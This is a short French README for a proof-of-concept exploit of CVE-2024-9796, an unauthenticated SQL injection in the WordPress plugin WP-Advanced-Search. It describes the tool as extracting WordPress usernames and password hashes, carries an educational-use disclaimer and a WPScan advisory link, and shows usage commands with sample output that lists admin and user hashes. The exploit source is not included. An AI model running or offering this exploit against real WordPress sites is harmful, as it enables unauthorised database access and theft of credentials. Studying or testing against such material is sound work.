CVE-2024-9796 WP-Advanced-Search < 3.3.9.2 - Injection SQL non authentifiée

Description

Le PoC d'injection SQL permet d'extraire les utilisateurs et les hashs de WordPress.

Avertissement :

Ce script est uniquement destiné à un usage éducatif.

Ne l'utilisez pas à des fins illégales.

Si vous le faites, c'est entièrement de votre responsabilité ; je ne suis pas responsable de toute mauvaise utilisation.

Plus d'informations sur l'exploit

https://wpscan.com/vulnerability/2ddd6839-6bcb-4bb8-97e0-1516b8c2b99b/

Utilisation :

# Successful attempt
python3 poc.py -i 127.0.0.1
[!] 127.0.0.1 has been PWNed!
admin:$P$H5blBNpO5AVI7eDJJi95E6pso16h981
user:$P$H1Sa1pcnzwWha3G9XH5rkfB6wOcE2a1

# unsuccessful attempt
python3 poc.py -i 127.0.0.1
[!] Doesn't look vulnerable..